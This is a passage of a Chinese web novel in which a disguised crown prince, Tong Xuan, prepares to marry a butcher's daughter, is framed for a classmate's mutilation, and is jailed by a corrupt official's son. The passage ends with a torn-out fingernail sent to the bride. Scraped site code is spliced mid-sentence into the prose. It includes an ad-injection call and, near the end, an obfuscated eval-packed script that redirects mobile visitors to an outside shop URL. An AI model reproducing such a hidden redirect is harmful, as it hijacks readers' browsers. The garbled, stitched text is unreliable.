刘嫂子:“我打量你知道这个事儿呢,怎么还敢往范家下聘?他范岩现在正急着找人接手自家闺女呢,你们可千万别被他糊弄了去!咱都是乡里乡亲的,有什么话不藏着掖着,之前我瞅着那范灵乐和你家佟暄确实登对,可今时不同往日,就他家乐乐和贺公子那点丑事,全浔阳县都知道了,你们这不是擎等着当笑话呢嘛?!” 刘嫂子说到激动处,手直往大腿上拍,仿佛那“吃亏”的是自家儿子一般,“要我说,就你家佟暄这品貌的人才,想要什么样的好姑娘找不着?之前那个……对!东街布庄的方掌柜家千金,她不就看上你家佟暄了?人还对他还很上心呢。” 陈玉珠听她这么一提,更是气得脸色发乌。 去岁时,方掌柜的千金看上了佟暄,大小姐还领着丫鬟来佟家门口蹲过人,却被范灵乐放出的恶狗给吓跑了。再后来,也不知范灵乐使了什么手段,硬生生把方大小姐给气走了,之后就再也没见她找过佟暄。 “你说说,要是你家佟暄当年真娶了那方小姐也好啊,他方时明可是浔阳县数一数二的大财主!能跟这样的人攀上亲家,你们佟家后半辈子都要跟着享福咯!” 说完她又撇撇嘴,也不知是酸还是乐,“要是我家狗剩能叫那方千金看上,就是入赘我也愿意了。” 陈玉珠听不下去,但她心里反是有几分感动,觉得刘嫂子也是为自己着想。 “没办法,那逆子大了,有自己的主意,我个当娘的也拗不过。” 竟然是佟暄非要娶?! 刘嫂子鼓瞪个眼睛,暗自压下内心的诧异,只是顺着安慰她几嘴。 没两日,葫芦巷里就传遍了:是佟暄上赶着非要接贺公子的二手货。 这下,不光是范灵乐被人指指点点,连佟暄也成了别人背地里的笑料。 可佟暄对这些非议充耳不闻,他向书院告了几日假,一心准备迎亲的事。 此事务必速战速决,否则连他自己也不知道,或许什么时候,他真的会反悔。 这是他这辈子做的最冲动的决定,理智彻底走失,一时被情感占据了头脑。可他知道,既然已经放出了话,便只能往前走,没有回头路。 所以他要尽快,下聘、定亲、迎娶……他不能给自己空出任何翻悔的间隙。 * 夜间,范家大院。 范灵乐望着满院的朱红木箱子,至今还不敢相信,恍若身处梦中。可狠狠掐一下自己的小肉脸,身上的痛感又明确告诉她,这一切真的不能再真了。 是真的,佟暄要娶自己了。 从十二岁那年情窦初开时,她便幻想着有朝一日能嫁给他。兜兜转转、曲曲折折,他真的要娶自己了。 “爹。” 夜色氤氲,她望着父亲坐在台阶上抽烟的背影,怯怯地唤一声。 不消女儿开口,范屠户立马就听出来她在担心什么。她怕自己不同意。 烟从口中吐出,叹息声融在烟雾里,随风四散。 “明儿我把那小子叫过来,跟他谈谈。” 他要听听,他到底是怎么个说法和态度,不够诚恳的话,他是断然不会把女儿交出去的。若是佟暄并非诚意求娶,他宁愿不辞麻烦,同乐乐再换个地方生活,也不愿为了省事儿,稀里糊涂把乐乐嫁出去。 * 那边佟暄告假张罗婚事去了,这边的琅岳书院,却是人心惶惶。 张致远无缘无故,竟在后院被人割了舌头。这一下,书院里人人自危,或者互相怀疑谁是凶手,或者害怕一下个遭殃的轮到自己。 事发第二日,县衙的李捕头带着一队人马过来查勘。他先是去寻张致远录了口供,张致远伤了舌头,下山去大夫那包扎过,人还萎靡着, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 又说不出话,只能用笔将那晚发生的一切描绘下来。 询问过受害人后,李捕头又去事发地勘验了一番,很快地便找到了相应的痕迹。 通过现场留下的脚印大小可以看出,凶手应当是个身量很高的成年男子,可偏偏脚印痕迹又浅,几乎是个身轻如燕的女子才会有的体重,与推测出的身高严重不匹配。 李捕头比对过脚印,暗自推测:此人应当身手不凡,轻功尤其厉害。想要有这样的功夫,应非朝夕之功,定是幼年便习武之人,不太可能是书院那群酸弱学子。 当然,也不排除书院里有人扮猪吃老虎。 看张致远的情形,凶手目标明确,不太像是随机作案,应当是跟他有过节之人。张致远家住百里之外的小村子,为求学寄宿在琅岳书院,平常主要的活动场所就是书院,交往最多的人就是这群学子,再加之又是割舌头这一行为,很像是同窗之间因口舌之争而起的冲突。 李捕头手把着腰间的佩刀,将站成一排的学子们巡视一圈,观察他们脸上的神情。 “最近,他有跟书院的什么人起过冲突吗?” 他把这话一问,大家是冥思苦想,纷纷摇头。 没有啊,张致远确实没少掰扯县里头那些八卦轶事,但也并未因此而得罪过书院里头的谁啊。 李捕头略一沉吟:不管怎么样,先从书院里的人排查起。 他吩咐手下的人拓印了凶手的脚印,一个个比对过去,还叫他们把衣袍撸起来,亲自去摸他们的小腿肌肉。 啧,这一个个的,瘦弱得很,没一个练家子。 “书院里的人都在这儿了吗?”他沉声发问。 袁弘佐上前解释:“还有一个叫吴松明的,因为生病告假好多天了;另一个叫佟暄的,昨儿晚上下的山,今早也来告了假了,所以现在不在这儿。”他如实相告。 李捕头听后皱眉,那个叫吴松明的没叫他起疑,倒是那个佟暄,这消失的时间节点着实奇怪。 “张致远跟那个佟暄,关系如何?” “不冷不热吧,平常也都相处得挺好的,没有起过什么争执。” 李捕头默了片刻,心中疑窦生,“那他今日缘何告假?”这也未免太巧了点,像是就为了避开自己似的。 袁弘佐嚅嗫了半天,还是实话实说道:“他说,是要准备婚事。” 众学子瞪大不可思议的眼睛。 佟暄?成婚?这两个词是怎么联系在一起?此前从未听他说过有同哪个姑娘在相看,这未免也太突然了! 在听到佟暄亲口说起这个事儿的时候,袁弘佐比学子们还要诧异。他一直以为,太子殿下是打定了主意要娶崔知月的,谁知现在……竟然要娶个屠户女?!袁弘佐当时下巴都要惊掉了。可太子要做的事,他可没法儿拦,拦也拦不住啊。 罢了,毕竟太子还年轻,少年人情窦初开,一时被冲昏了头脑,也是可以理解的。大不了到时候就给范灵乐一封休书,再加一大笔银子,把这个事儿彻底揭过去,崔氏女一样的照娶不误。这种事儿对皇家来说,不是什么大事。 李捕头观察到大家异样的表情,眉头皱得更深了,敏锐地刨根问底道:“他要同谁成亲?” 袁弘佐并未料想这有何不妥,只是有一说一道:“范灵乐。哦,就是东街欢乐肉铺范屠户的闺女。” 嘶! 众学子倒抽一口凉气。 大家你看看我,我看看你,默契地交换着震惊的眼神。 他们都不约而同想到了,昨日课间,张致远对范灵乐的大肆评价、大放厥词。 这一切……似乎就在不经意间,都对上了。 李捕头感受到了学子间流淌的诡秘气氛,眉一挑,“怎么了?这范灵乐……有什么不对吗?” 22. 烫金喜帖 李捕头锐眼如鹰,死死锚定在众学子身上,就等着看他们有何说法。 这个佟暄,肯定不简单。 方恺站在人群中,头脑飞速运转,搜肠刮肚地想着说辞。 自打今儿早上,佟暄跟他说了要娶范灵乐一事,他就直觉张致远的事会否跟他有关。但又并没有任何的证据。 可不管真有关假有关,他都不能眼看着兄弟被卷入进去。 “李捕头,是这样。”方恺出声:“因为书院里的兄弟们都知道,范灵乐一直对佟暄青眼有加,但佟暄却并不喜她,甚至……有点厌烦她的穷追不舍。” 一听到这里,众人又是对视一眼,互相点头。 这倒确实,佟暄对那个范灵乐一直冷冷淡淡,从头到尾就只见那个姑娘在热脸贴他冷屁股。 方恺见大家被说动了,舒了口气,继续道:“所以……听说他竟然要娶范灵乐,大家都挺不可思议的,不知道他这几日究竟发生了什么,估计也是……心里不大好受吧。” 他把佟暄要娶范灵乐描述得迫不得已,好将他从张致远这个事件里面摘出去。 李捕头见大家对他的话颇为认同,认定他没有在撒谎。但又总觉得哪里不对,似乎总有一根线,将佟暄和张致远被割舌头一事,无形中牵连起来。 不要问为什么,问就是,这是一个多年老捕头的直觉。 “那这张致远和范灵乐……?”他眼神扫到和张致远关系较好的一个学子身上。 “没有什么关系,致远兄不喜欢范灵乐的。” 李捕头脑子彻底被搅乱了,一对大浓眉深深拧紧。 佟暄忽然要娶范灵乐,却并不喜欢她;张致远也不喜欢范灵乐,和佟暄平常也没什么冲突。这三个人的关系实在松散,看起来怎么也跟割舌头这种报复性行为联系不到一起。 对了,舌头。祸从口出,还是先由张致远最近的言论入手。 李捕头扶着他那柄大刀,大手一扬,“张致远这几日都说过些什么话,把你们知道的通通说出来。” “一个一个来,我要单独面谈。” 袁弘佐连忙协助配合,将一间书屋空出来给他,供他单独面见学子。 方恺排着队跟在队伍里,心下不由为佟暄捏了把汗。看来这李捕头还真是个轴的,如此下去,张致远昨日说范灵乐的那番言论,指定是瞒不住了。不知道李捕头会作何联想。 方恺也没有十足的肯定,但他就是直觉,这件事跟佟暄有关。 别人或许不知,但他的兄弟他了解,只要是一碰到范灵乐的事,佟暄都会表现得像一头捍卫领地的狮子,可怕得叫人不敢进犯。 其实,佟暄一直以来都把对范灵乐的情愫掩藏得很好,只是方恺同他实在太亲近,又是个脑袋机敏的,便早早勘破了其中的奥义。 李捕头是下午申时来的书院,一番盘问勘验,直弄到日暮西斜,星月在野,这才查问完最后一位学子,收起厚厚一沓笔录,准备打道回府。 “师傅,这范灵乐可不简单。”新收的徒弟小黄打着灯笼,替他照亮下山的路,“她就是那个,和二公子在船上……”他不说话了,却是一通挤眉弄眼代替,“就是那个姑娘!” “哦,就是她?”李捕头漫不经心应一句,似乎对此并无太大兴趣。 “你说这事儿……要不要告知二公子一声?” 李捕头啧他一声,面露奇怪,“你什么时候见二公子关心过案子的事儿?这同他又有什么关系?” 徒弟小黄撇撇嘴,“师傅……我是说,范灵乐和那个佟暄要成婚的事儿,这个……要不要说给二公子知晓?” 李捕头这才恍然,明白他在说什么。 “对,还是说一声的好。” 别到时候,二公子又怪罪到自己头上来,说他知情不报。 * 这时候的佟家院子,渐渐被红色装点。 喜字已经贴上了佟暄屋子的窗户,里头收拾得整洁干净,陈玉珠抱出一床鸳鸯喜被,在床上铺好。 这床被子是陈玉珠早年备下的,就等着给儿子娶媳妇时用。她虽则心里头老大不愿意,可木已成舟,还是希望能给儿子一个体面的婚礼。 院子里,佟岳和佟雪又吵闹起来,两个人为着争最后一粒桂圆干,差点没打起来。 陈玉珠气呼呼冲出来,朝他们一顿叫嚷,“这是给你们哥哥婚礼备下的东西,谁叫你们偷出来吃的?!” 俩小孩儿一同委屈,佟雪揪着衣角不敢说话,五岁的小佟岳磕磕绊绊道:“那是……爹爹给的,才不是我们偷的!” 陈玉珠的怒火一时没处撒,佟立冬刚出门联系办酒席的班底去了,人不在眼前,也没法儿教训,只能是恶狠狠指着俩娃,“等你们爹回来了,我看他怎么说!” 见母亲又转头进了屋子,俩娃再不敢大声出气,佟雪憋胀着脸,就要去掰佟岳的小手,佟岳力气小,拼不过他姐,干脆地将桂圆干往地上一丢,一脚踩上去。 好了,这下谁也别想吃了。 佟雪气得鼓起眼睛,佟岳小手叉腰洋洋得意。 正在堂屋写请柬的佟暄将这一切尽收眼底。阳光把佟家的前院照得亮堂堂的,两个弟弟妹妹又开始新一轮的追逐,母亲在屋子里替他收拾婚房,父亲外出替他置办酒席,而他心仪的姑娘,就在隔壁,正满心欢喜地等待自己来迎娶。 低头望着眼前写下的请柬,不知不觉,已铺了整整一桌。工整秀逸的小楷,将新人的名字并排列在一起:佟暄,范灵乐。 眼睛不自觉弯起,有一瞬间,他恍然觉得,这样的日子,其实也挺不错。 家人在侧,爱人在怀,三餐四季,粗茶淡饭。这烟火气息,久处其间,竟也叫人觉出它的滋味来。 “咚咚咚”! 他挽袖提笔,还未落下,却听院门被人擂响。这声响太大,似乎恨不能把院门砸开,吓得俩小孩儿都惊住了,也忘了去闹腾,直愣愣看着院门。 佟暄放下笔,起身去开门。 陈玉珠又骂骂咧咧从后院出来,跟在佟暄身后,却在见到院门口的一列官兵时,钉住了脚。 门口站了好几个锱衣捕快,脚蹬皂靴,腰间佩刀,一个个脸拉得跟黑面罗刹似的,鼓起双眼睛直瞪人。 为首的那个身形高大,宽额方面,一双狭长眼锐利如刀,将佟暄从头到脚打量一遍,沉声开口:“你就是佟暄?” “是我。”他见着家里来了官差,却是平静自若。 “很好,我找的就是你。”话毕,他脚一抬,略过佟暄,径直走入佟家院内,身后的手下们也一拥而入,抬脚跟进来。 佟暄被撞得一歪,手扶住门沿,他皱眉,冷光从眸中射出,啪地将门一扇,把外面那群看热闹的脸隔在了门外。 “官爷,这是……有什么事儿吗?” 陈玉珠慌慌张张开口,挥着手朝俩小娃暗暗使个眼色,佟雪赶紧搂住佟岳,躲在了堂屋后听墙角。 李捕头没理会她,却是被佟家上下一红、喜气洋洋的装点吸引了目光,他扶着刀把,在院里踱步几下,将整座小院落细细打量,忽而,勾起个轻蔑的笑:“大娘,看样子,家里最近这是有喜事呀。” “哎,哎。”她连声应着,也不知他这没头没尾的问话是何意,但官爷开口,你搭腔就是。“是,家里大儿子马上就要娶亲了,这不给他张罗着嘛。” 她忽然反应过来,忙就要把他往堂屋里迎,“官爷,您屋里请坐,我给你们沏壶茶。” “不用。”他挥手,一屁股坐在院里的石凳上,看似面朝着陈玉珠,实则眼角余光一直在留意不远处的佟暄。 少年身姿颀长挺拔,一身牙白素衣,衣着分明寒酸,书生气的同时却又有种凛然气质,微挑的凤眼凌厉地望着他,暗藏敌意。 李捕头恍若无视,朝佟母气势凌人地笑,“敢问,娶的是哪家姑娘呀?” 陈玉珠心里咯噔,只担心他是贺公子派来找茬的,瞟一眼儿子,弓着腰开口道:“就是……隔壁范屠户家的闺女……” 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冲冠一怒为红颜,就因为对方说了范灵乐几句难听的话,竟是不惜将同窗一刀割舌。何其残忍?何其狠辣! 陈玉珠听李捕头乍然口出此言,也是被噎得脸色一白,嘴角嚅嗫着,一时找不出合适的话语。 李捕头没管她,终于直视佟暄,“怎么?小郎君听我这话似是心中不忿,该不会也想……割了我这条舌头呀?”他轻松一笑,戏谑的眼神忽而锐利,刺向佟暄眼中。 佟暄满眼茫然,张着嘴,无辜道:“官爷这话什么意思……?我怎么听不明白?” 李捕头心中冷笑,这小子,这下倒是反应过来了,演得可真像。 虽然,目前还并无任何确凿的人证、物证,但他心中的逻辑链基本已经完全了。就刚刚佟暄听到自己评价范灵乐那一刹的反应,他断定,张致远的舌头十有八九就是他动的手。不过看他这身手,却是不像习武之人,可就算不是他亲自动的手,也绝对跟他逃不脱关系。 “怎么?你们书院发生了这么大的事儿,小郎君竟然没有听说吗?” 李捕头将张致远被割舌头一事复述一遍,陈玉珠听后吓得捂住脸,“官爷,我可以作证,当晚我们佟暄回了家,人根本不在书院啊,这事儿不可能是他干的!” “就是不在书院才可疑!谁知他是不是故意不在场,好免除自己的嫌疑,却又半夜里偷偷上山,将张致远谋害?!” “天杀勒!冤枉呐!”陈玉珠哭喊,她几乎认定,这就是贺公子在蓄意陷害,伺机报复。看看,娶那个范灵乐的报应这不就来了? “我们家佟暄性子素来温和,平时从没跟人红过脸儿,这街坊邻里都是知道的,况且他跟那个张致远,远日无怨近日无仇的,做什么就要下这种狠手?!” “无冤无仇……?”他意味深长地看一眼佟暄,却见他仍是一脸平静,只挺直了腰板,垂手而立,仿佛当真如此磊落。 “他同张致远究竟有没有仇,想必,只有他自己心里知道了。” 话至此处,佟暄终于明白,为何这捕头一来,没头没尾地就对范灵乐一番诋毁,怕是他早就把书院的情况调查了清楚,心里有了推测,只等着来自己身上验证。 刚刚实在大意,一时不察,被他瞧了端倪去。只怕他现在早就锁定自己是残害张致远的主谋,但这也只是他的猜想,目前还没有确切的证据。 况且,自己的暗卫动的手,没有人可以查出他们的蛛丝马迹。 思及此,佟暄强自镇定。 “究竟是不是你做的,口说无凭。”李捕头命身后的衙役端出一盘模具,“我们在后院发现了凶手的脚印,只消小郎君您踩上一脚,叫我们同凶手的比对一下,便可知晓了。” 佟暄望着他淡定含笑的细长眼,仿佛已然有了把握,他的脚印一定能合上。 胸中一震,只刹那,他预感到,猎人张的网,已经在头顶铺开来。 他是个查案的捕头没错,可同时,他也是贺钟鸣的走狗。 23. 泪别情郎 佟暄被人架着,在那模具上踩上一脚,李捕头装模作样地比对了一下,随即大手一挥,“就是他,给我拿下!” 两个衙役立刻冲上前,扣住他胳膊,镣铐往手上一拷,推搡着就要将他带出佟家院门。 “天爷呐!冤枉冤枉!冤枉煞了!”陈玉珠大嚎一声,扑上去就要拽儿子的胳膊,却被衙役用力一推,扑跌在地。 “娘!”佟雪从堂屋后冲出来,扑过去扶她,佟岳跌跌撞撞跟在后面,咧开小嘴哭嚎。 佟家大院一时间乱成一片。 佟暄却是波澜不兴,淡声道:“娘,我没事,左右不过是同他们走一趟了,你别担心,我很快就回来。” 李捕头挑眉,怪道他哪儿来的自信? 其实佟暄说冤枉,也真能算得上“冤枉”。昨日,二公子知道了书院割舌头一案,非要他将那个凶手的脚印栽赃在佟暄头上。他并未正面答应,心里却是别有打算。若佟暄果真与这个案子无关,他自然不会听凭二公子的胡作非为,可他进来便探得佟暄的异样,心中认定他便是主使,即使脚印不是他的,也无妨,正好借由这个“栽赃”顺水推舟一下。 二公子想要得到范灵乐,他想要将犯人缉拿归案,正好地一箭双雕,借花献佛罢。 “什么叫没事?这怎么能没事得了呦?!”陈玉珠捶胸顿足,啼哭不止,揪着佟暄的衣袖就是不肯放,“你落到那个贺公子手上,还能有好果子吃吗?!” “不如你同他解释清楚,这个范灵乐咱不娶了,求他网开一面可还行?啊?” “行了!啰啰嗦嗦地,哪儿那么多废话?!”李捕头使个眼色,两个衙役押着佟暄,出了大院的门。 门外头的街坊们听了好久的动静,这下也不藏了,光明正大地探身出来瞧热闹。 “怎么回事?这佟家大儿可是未来的状元苗子,这是犯了什么事儿了?” “就是,都羡慕佟家生了个好儿子,人又有礼又机敏,佟家就盼着他将来能出人头地呢!哎,也不知惹了什么事儿。” 无视街坊们的侧目,他只是迈步往前,从容淡定。 陈玉珠和俩小娃哭着就要跑出来,却被衙役举着刀把,拦在了院门里。 “佟暄!” 身后一声疾呼,他忙定住脚,转过头,目光急切地去寻那道身影。 “你让开!”范灵乐扒开衙役,就要冲过去,却被一柄刀鞘拦住。正是李捕头的徒弟,捕快小黄。 范灵乐瞪着眼就要去呵斥,却听他在耳边悄声道:“范姑娘,我们公子的意思,以人换人,你懂的。”随即放下刀,给她开出条路。 范灵乐惊诧,恶狠狠瞪他,牙都要咬碎了。 “范灵乐,你过来。”佟暄见那小兵跟她咬耳朵,心里顿感不妙。 她一听,甩着两条小短腿,哒哒地跑过来,见他白皙清瘦的手腕被一道黑冷的铁锁扣住,隐忍的泪水瞬间冲到眼眶边。 “乐乐,别哭,我没事。” 听他这一说,泪水啪地掉出来。 都是自己连累了他…… 胸前低垂的小脑袋委屈又自责。 他叹气,手扣住她的手腕,范灵乐终于抬头,泪眼迷蒙地看着他,肉乎乎的小脸儿上滑出道道泪痕。 “乐乐,你答应我,无论他刚刚跟你说了什么,千万不要理会,你听明白没有?”他眉头紧蹙,眼神严肃到骇人。 范灵乐咬唇,眸光一颤,似是下定了什么决心般,噙着泪花,缓缓摇头。 佟暄呆滞了。 他恍然,就在刚刚,她心里似乎做了一个很大很大的决定。 慌乱无措地,他狠狠攥紧她纤细的手腕,似乎恨不能将她一直这么拽在自己身边。“范灵乐!你听我说,千万不能中了他的陷阱!他拿我开出的任何条件,你都不能答应,听明白没有!” 她依旧咬着嘴,不说话,泪眼汪汪看着他,眼神里有股子倔强,还有股子孤注一掷的绝望。 心像被狠狠揉了一下,他咬紧腮帮子:“相信我,我不会有事的,他威胁不到我,你懂了吗?” “我不懂……”她破碎地开口,泪水再次充盈眼眶,“我只知道……我不能连累你……” “我们两个无权无势的人,拿什么跟他贺二公子斗……?” 除了答应他开出的条件,别无他法。他贺钟鸣无非就是想要她,他要她低头、要她认输、要她臣服在他面前,乖巧地把自己年轻水嫩的躯体奉上。 她不过一介贱民,生如浮草,哪里拗得过强权的大腿? “我说了!”佟暄急得太阳穴青筋暴起,“他动不了我!”他就怕她死脑筋,真的要拿自己去献祭。 “乐乐,你看着我的眼睛。”他俯下身,几乎快要贴住她的额头,“你是相信我,还是相信他贺钟鸣?” 范灵乐看着他墨黑的瞳仁,那里面的笃定叫人心安。 “好……我信你……”她哽咽着,终于点头。 佟暄长出口气,眉头松动了。 “佟暄……你……你就跟贺钟鸣说……说你不要娶我了……”她呜咽出声,像只委屈巴巴的小兔子,眼圈儿都被泡红了,泪水还在一边掉啊掉。 心猛地抽动,丝丝缕缕的疼由心口蔓延开来。 他举起被铁锁拷住的双手,将范灵乐套进自己的臂弯中,低头,下巴轻轻贴着她的额头,“听话,在家等我,三日之内,我必会回来娶你。” 范灵乐像被施了法,僵在他怀中一动不动,眼泪也忘了去掉。是佟暄的怀抱,温暖宽大,是他的气息,淡淡青竹香,抚慰她心中的焦躁不安。 一旁看了许久戏的街坊们终于憋不住了,眼前公然相拥的少年少女叫他们震动,淅淅索索的议论声在周身响起,充斥着整条葫芦巷。 他们在说什么,范灵乐一个字也听不清,耳边的非议声如苍蝇扇翅,嗡嗡作响,可是她毫不在乎,一点也不在乎,满心里只有少年那句承诺。 “好。”她应下。泪水没入弯弯的嘴角,咸咸的,甜甜的。 佟暄终于还是被带走了,只剩一道瘦削孤直的背影,褪色在巷子口。 范屠户和佟母透过门缝,被刚刚二人相拥的那一幕看傻了。 范屠户暗自琢磨,看来这佟暄果真是要诚心求娶他家乐乐呢? 范灵乐目送佟暄的背影离开巷子口,转头抹着眼泪,在众街坊的偷偷注目下又进了院门。 刚跨过门槛,却被范屠户一把薅过去,“乐乐,刚怎么回事?那小子跟你说什么了?” 范灵乐避重就轻,只字不提自己动了要去求贺钟鸣的心思,只说是自己连累了佟暄,害得他被贺钟鸣栽赃陷害。 “他说……让我等他,等他回来娶我。”一提及此,她又揩了揩眼泪。 范屠户牛眼都鼓起来了。 都这样了,竟然还想着娶他家乐乐?以前怎么没看出,那佟家小子竟然有这份心意? “乐乐,若这次他能放出来,你们俩的亲事,爹应了!” 听到爹爹这句“若他能放出来”,范灵乐又绷不住了,扑到他怀里痛哭。 如果佟暄出不来了呢?或是在里面遭遇了什么不测呢? 可是不行,她必须要信守住承诺,她答应了他,要信他,绝对不能去找贺钟鸣。 浔阳县大街。 佟暄被左右两个捕快押解着,往县衙的方向去。一路走过,引来不少人侧目,可他犹自神色清淡,挺拔孤傲,面上笼着一层冷意。 喧哗的大街人声鼎沸,游人交织,可他知道,热闹的人群中,有人正于暗中蛰伏,屏息观察着自己的一举一动。 他抬手,将头上的玳瑁簪子往下一拨,原本呈升腾之势的云纹雕刻此刻转而朝下。 商铺屋脊上,四个暗卫都注意到了太子的信号。 “殿下旨意,按兵不动。此刻不准动手。”为首的领头白水翻译了一遍。 “这怎么成呢?!难道真由他们把殿下带入大牢吗?到时候我们就是想联络殿下也难了,若是太子在里头有个三长两短,咱哥四个,都等着提头去见好了!”青鼎不由愤愤发话。 跟在佟暄身边的暗卫有四名:白水、青鼎、墨衣、紫砚。这四位,都是当年扶华皇后从大内精心挑选,由皇帝亲自指派的,个顶个的高手。 佟暄自打入了民间,这四位便是他的左膀右臂,他们护卫他的安全,替他传递与京中的来信,送来各地情报。多亏如此,佟暄才不至于孤立无援,这是他唯一可以调动的人手。 而这四名暗卫,只听命于帝后和太子,除此之外,再无人知晓他们的存在。 他们就这样,一直跟在佟暄身边,整整十三年时间。 “不可,殿下既然有令,我们照做便是。”白水思忖片刻,果断开口。 听命太子,就是他们的最高准则。 青鼎急了:“虽说如此,可你别忘了,我们是受帝后委任,务必护太子周全!若殿下真在牢里出了什么事,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678410|141660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我便是有十个脑袋,也不够砍的!” 墨衣和紫砚在一旁听着他们争执,默不作声。 白水也犹豫,他不是不知道,青鼎所说后果的严重。这种担忧不无道理。可一番斟酌后,他还是选择相信太子。况且,若此刻在大街上贸然出手,只恐太子身份有暴露的危险,届时将难以收拾。 “墨衣,你即刻启程,去广元府将情况禀报宣王殿下,让他想想办法。” “青鼎,你去看住范姑娘,刚刚太子同她说的话你们也看见了,坚决不准她接近贺钟鸣。” “紫砚,你想办法潜进大牢,先与殿下取得联络。” 一番摆兵布阵后,白水总结:“我就在衙门附近蹲守,有任何消息,随时来报。” “是!” 众人应下,又是飞燕般的轻功,自去执行各自的任务了。 白水一路尾随,跟着差役的队伍,到了衙门口。眼看着太子进了官府大门,终于消失在视野里,他心倏然一沉。这是太子十三年来,头一次脱离暗卫的视线,他只盼着,太子能吉人自有天相。 佟暄受到的待遇可不低,李捕头竟亲自将他押送至牢里。 逼仄的牢房阴暗潮湿,泛着股陈年的霉味,独属于地下动物的“吱吱”声不时响起,几乎每间牢房的角落都堆着些积年的老鼠屎。 李捕头还算和善,给他安排了一间单独的屋子,没将他与个凶恶的杀人犯或□□犯关在一起。 佟暄进了牢房,眉头只是轻轻一皱,很快地,便安之若素地坐在那个黑硬的小榻上。牙白的衣袍被捋得平直,他安稳坐定,像是一尊精心雕琢的玉观音,将这昏暗的牢房都照得亮堂了起来。 气度不凡。李捕头心中跳出这四个大字。这佟暄,当真不像是泥瓦匠家能养出的儿子。 他示意手下先不要关门,踏进牢房,饶有兴味地看着佟暄淡定的脸。看似如此温和沉着的人,竟会因为几句过激之言,就对同窗下这样的毒手。真是知人知面不知心。 他冷笑,开口道:“佟暄,我知道,张致远的舌头不是你动的手。” “那是自然,你我都知道,那个脚印只是因为贺二公子怀恨在心,想要栽赃在我头上罢了。”佟暄皮笑肉不笑地回。 “呵,是栽赃没错,可你却并不冤枉。”他手抱着胸,睥睨他,“不是你动的手,却跟你逃不脱干系。只要你供出同伙,我便可以酌情减轻你的量刑。” 佟暄仰头大笑,“李捕头,既然你都承认了那个所谓的‘物证’是栽赃,人证物证俱无,你又凭何断定张致远一事就是我做的?莫非你们衙门断案都是凭一些没有根据的臆测吗?” “是与不是,上天自有公断。”没有理会他的挑衅,李捕头只是在离开前,冷冷丢下一句:“我说的话你仔细考虑,想清楚了,随时来报。” 牢门一关,铁锁落下,佟暄就这样,被下进了大狱。 待人走后,他终于收起那幅温和模样,眼中冷意毕现,阴沉的脸色,山雨欲来。 想他堂堂当朝太子,被养在民间布衣粗食、为隐藏身份整日提心吊胆,过得无比憋屈。这也就罢了,现在一个区区九品官的儿子也敢踩在他头上作威作福,将他关在这滂臭的大牢里羞辱!他恨不能一把火,将这浔阳县衙给点燃了! 贺庆岚,他儿子这笔账总归是要算到他头上的。 佟暄咬牙,狠狠捏紧了拳头。 料想现在,白水已经派人去给三叔递信了。广元府离此处二百里地,消息一来一回,待得送来浔阳,差不多便需三日时间。 三日,希望乐乐不要冲动行事。 佟暄坐在牢里闭眼养神,李捕头走后不久,狱里响起了一阵漂浮的脚步声,一双描金缎面长靴停在了牢门外。 他撩起眼皮,正对上一张瘦长脸儿,苍白的肤色显出点病态,摇一柄纸扇,绫罗绸缎将他堆得花团锦簇,恍若一只行走的窄口花瓶。 “你就是佟暄?” 贺钟鸣开口,一对混浊的小眼里迸出猥琐的精光,眼神将佟暄从头到尾描摹,不由心意暗动。 果真是个小白脸,竟是比许多姑娘都要俊俏。 “倒是有几分姿色。”他傲慢点评,“别说是那些小娘子容易着了你的道,就连公子我瞧着,都心生几分怜惜呐。” 佟暄皱眉,只觉贺钟鸣语气中的肥腻,令人不适。 “我特地过来,就是要从你身上取一件信物,给我们范姑娘送过去,好叫她高兴高兴。” 24. 屈服求饶 第二日,欢乐肉铺。 范灵乐今日强打精神,坚持来肉铺做生意,只是她总心不在焉。范屠户生怕她一不留神,剁了自己的手,从她手里接过刀,赶她去一边收钱。 她一心惦记着佟暄在牢里的情况,昨儿一晚上就没怎么睡着觉,今日眼下一圈浅浅乌青,眼皮子就跟抬不起来似的,同顾客做生意,连强笑都打不起来。 眼下铺门口没有客人,范屠户放下刀,在旁边的桶子里撩起两捧水,浇了浇手,回头看一眼正闷闷不乐的女儿,不由叹气,“乐乐,我看你精神不大好,不如先回家休息休息,或者去找朱小妞说会儿话,铺子里我一个人看着就成。”朱小妞是住范家对门的小女娃,跟范灵乐一起光屁股长大的手帕交。 她摇摇头,眼神失了焦,“我在铺子里忙忙也挺好,回去一个人呆着也是呆着。” 范屠户还未接话,店门口有人叫老板,他扭头,这人面熟,再仔细一瞧,竟是之前来邀请乐乐去山里避暑的那个贺府管家。 “你来做什么?”范屠户浓眉一拧,面上的横肉都扭曲了。 “范老板莫急。”那人奉上一捧笑脸,端的是和颜悦色,“我们公子吩咐了,有重要的东西要转交给范灵乐范姑娘。” 范灵乐在后面一听,立刻起身蹦到面前来,“贺钟鸣他又想干嘛?!”她怒气冲冲,两道秀气的弯眉用力蹙起,瞪向那个管家的眼睛似能射出针来。 管家不慌也不忙,从袖子里掏出一沓叠得齐整的帕子,放在案板旁。“我们家公子说了,这是给范姑娘的礼物,若是姑娘不想要了,寻我们公子去说便是,否则的话,每日一份,直到打动范姑娘了为止。” 他客气有理地作了个揖,又施施然去了。 范灵乐看着那叠淡黄帕子,呼吸急促,想看又不敢看。 “甚么鬼东西?你管他奶奶个球!”范屠户急得爆粗,就要拿过去丢,却被范灵乐一把攥起。 手颤抖着,一层层掀开帕子,却见那帕子中间,赫然躺着一枚手指甲。指甲如玉透净,边缘修剪得齐整圆润,是被整片地连根拔下,埋入皮肉的那一边还隐着淡淡血色,已全然凝固了。 “啊!!!!” 范灵乐一声尖叫,帕子一丢,捂住脸,只刹那,惊叫连同泪水一齐从指缝间溢出。 